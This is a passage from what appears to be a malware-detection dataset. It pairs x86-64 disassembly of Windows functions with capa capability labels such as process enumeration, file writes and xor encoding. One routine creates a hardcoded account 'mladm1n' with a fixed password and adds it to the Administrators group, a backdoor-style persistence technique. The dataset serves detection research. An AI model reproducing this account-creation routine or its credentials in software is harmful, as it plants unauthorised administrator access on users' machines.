joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011904
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140011934
xor eax, eax
jmp 0x1400119f7
mov rbp, rbx
cmp word [rax], si
je 0x140011959
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140011940
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001193c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140011854
movsxd r14, eax
test eax, eax
jne 0x140011997
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001192d
mov rcx, r14
call fcn.14000c158
mov rdi, rax
test rax, rax
jne 0x1400119b0
xor ecx, ecx
call fcn.14000b48c
jmp 0x14001198c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140011854
test eax, eax
jne 0x1400119e1
mov rcx, rdi
call fcn.14000b48c
jmp 0x1400119eb
xor ecx, ecx
call fcn.14000b48c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140011a14
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140011a9b
mov rsi, rbx
cmp word [rax], bp
je 0x140011a5a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140011a44
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140011a40
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000c158
mov rdi, rax
test rax, rax
je 0x140011a88
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003220
mov rbp, rdi
xor ecx, ecx
call fcn.14000b48c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140016418
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140037520]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140016476
cmp word [rdx], r12w
jne 0x140016476
or byte [rax + r8*8 + 0x38], cl
jmp 0x14001647c
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x1400165d7
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x1400165b2
lea r9, [rcx + 2]
cmp ax, r13w
je 0x1400164b5
mov rcx, r9
jmp 0x1400164d8
cmp r9, rdx
jae 0x1400164ef
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140016499
jmp 0x1400165d7
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400165ac
cmp dword [rsp + 0x80], edi
je 0x1400165ac
mov rdx, r14
lea r11, [0x140037520]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140016585
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140016558
mov word [rbx], r12w
jmp 0x1400165d3
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140016561
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x1400165d3
cmp word [rsp + 0x70], r12w
jne 0x140016592
cmp rbx, rsi
je 0x140016552
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140016338
cmp word [rsp + 0x70], r12w
je 0x1400165d7
mov word [rbx], r13w
jmp 0x1400165d3
lea r11, [0x140037520]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1400165cf
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1400165d7
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140017ffc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f704
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140018086
cmp byte [rbp - 0x21], r15b
je 0x140018081
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400180bc
call fcn.14000b6e0
test eax, eax
jne 0x1400180a8
cmp byte [rbp - 0x21], r15b
je 0x1400180a0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400180bc
cmp byte [rbp - 0x21], r15b
je 0x1400180b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ffd0
test eax, eax
jne 0x14001815c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f704
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400180fb
cmp byte [rbp - 0x21], r15b
je 0x140018130
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140018130
call fcn.14000b6e0
test eax, eax
jne 0x14001811c
cmp byte [rbp - 0x21], r15b
je 0x140018115
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140018130
cmp byte [rbp - 0x21], r15b
je 0x14001812d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ffd0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001815c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001815f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001816d
mov rcx, rdi
call fcn.14000b48c
cmp byte [rbp + 0x3f], r15b
je 0x14001817c
mov rcx, qword [rbp + 0x27]
call fcn.14000b48c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140018f74
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140016338
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140016338
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400190c4
cmp rax, 0xffffffffffffffff
je 0x1400190c4
xor edi, edi
test rbp, rbp
jle 0x14001906f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14000b414
mov rbx, rax
test rax, rax
jne 0x140018ffc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140019065
mov edx, 0x8000
mov ecx, r14d
call fcn.14000a10c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14000f0b4
cmp eax, 0xffffffff
je 0x140019045
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14001900c
mov edx, r15d
mov ecx, r14d
call fcn.14000a10c
jmp 0x140019065
cmp byte [rsi + 0x38], dil
je 0x14001905c
cmp dword [rsi + 0x34], 5
jne 0x14001905c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140019065
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14000b48c
jmp 0x1400190d8
jns 0x1400190d8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140016338
cmp rax, 0xffffffffffffffff
jne 0x140019090
cmp byte [rsi + 0x30], dil
je 0x1400190d8
mov edi, dword [rsi + 0x2c]
jmp 0x1400190d8
mov ecx, r14d
call fcn.140012800
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400190d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400190d8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400190d1
mov eax, dword [rsi + 0x2c]
jmp 0x1400190d6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140016338
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14006ee10
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x2b0
mov rax, qword [0x1400e3080]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor r14d, r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rsp + 0x20], 1
cmp qword [rdx + 0x10], r14
jne 0x14006ee7a
mov rdx, qword [rdx + 0x18]
jmp 0x14006ef9b
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14006ef8d
nop word [rax + rax]
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x30]
call fcn.1400627b0
mov r8, rax
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14006eed2
mov rcx, qword [rbx]
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x14006eee0
mov r8, qword [rax]
cmp rdx, qword [rbx + 0x10]
jne 0x14006ef09
test rdx, rdx
je 0x14006ef04
sub r8, rcx
nop
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14006ef09
add rcx, 2
sub rdx, 1
jne 0x14006eef0
mov dil, 1
jmp 0x14006ef0c
xor dil, dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14006ef4e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ef49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006f00d
call fcn.1400b7ea0
test dil, dil
je 0x14006ef77
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x14006ef6a
mov eax, dword [rsp + 0x68]
mov dword [rdx], eax
add qword [rsi + 8], 4
jmp 0x14006ef77
lea r8, [rsp + 0x68]
mov rcx, rsi
call fcn.140074fe0
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14006eeb0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x14006efd2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14006efcd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006f014
mov rcx, r8
call fcn.1400b7ea0
mov word [rbx], r14w
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r14
mov rax, rsi
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.1400b7770
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400b75e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400b7622
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b7669
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b76c2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b7680
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b7703
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400c6ab2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400c6ab3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b76d0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b867c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b86c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b86c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b86c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b86c6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b86c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b86c8
xor al, al
add rsp, 0x28
ret
Function at 0x18001108c
Capabilities:
Add user account to group

Disassembly:
jmp 0x180011879
jmp qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]

Function at 0x180011181
Capabilities:
Add user account
Add user account to group

Disassembly:
jmp 0x180011730
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x18001c500]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x18002105c]
call fcn.1800112f3
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 8]
call fcn.180011262
lea rax, str.mladm1n
mov qword [rbp + 8], rax
lea rax, str.1qaz_WSX
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x1c], 1
mov dword [rbp + 0x30], 0x10000
xor r9d, r9d
lea r8, [rbp + 8]
mov edx, 1
xor ecx, ecx
call fcn.1800111d1
lea rax, str.mladm1n
mov qword [rbp + 0x58], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x58]
mov r8d, 3
lea rdx, str.Administrators
xor ecx, ecx
call fcn.18001108c
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x180019910]
call fcn.18001129e
mov eax, edi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.180011172
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x1800111ae
Capabilities:
Terminate process

Disassembly:
jmp 0x180012da0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1800111d1
Capabilities:
Add user account

Disassembly:
jmp 0x180011873
jmp qword [sym.imp.NETAPI32.dll_NetUserAdd]
Function at 0x1400112ad
Capabilities:
Terminate process

Disassembly:
jmp 0x140013510
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011357
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015d60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015d80
xor al, al
jmp 0x140015e01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015d93
xor al, al
jmp 0x140015e01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015dbd
xor al, al
jmp 0x140015e01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015dd1
xor al, al
jmp 0x140015e01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015de3
xor al, al
jmp 0x140015e01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015dff
xor al, al
jmp 0x140015e01
mov al, 1
add rsp, 0x38
ret
Function at 0x140011127
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400224d0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14003f066]
call fcn.140011ae6
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140022527
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140022633
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x1400225cc
cmp qword [rbp + 0x28], 0
jle 0x1400225cc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14002256c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011a4b
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140022622
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140022622
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011613
Capabilities:
Terminate process

Disassembly:
jmp 0x140025670
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400117a8
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400261a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400261c0
xor al, al
jmp 0x140026241
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400261d3
xor al, al
jmp 0x140026241
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400261fd
xor al, al
jmp 0x140026241
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140026211
xor al, al
jmp 0x140026241
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140026223
xor al, al
jmp 0x140026241
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002623f
xor al, al
jmp 0x140026241
mov al, 1
add rsp, 0x38
ret
Function at 0x140011ac8
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001bad0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140036040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14003f066]
call fcn.140011ae6
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001bb36
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001bb3d
mov al, 1
jmp 0x14001bc8d
call fcn.140011316
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.140011316
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.14001188e
movzx eax, al
test eax, eax
je 0x14001bb8e
xor al, al
jmp 0x14001bc8d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001bbf3
cmp dword [rbp + 0x154], 1
je 0x14001bbfe
cmp dword [rbp + 0x154], 3
je 0x14001bc7c
jmp 0x14001bc8b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001bc4e
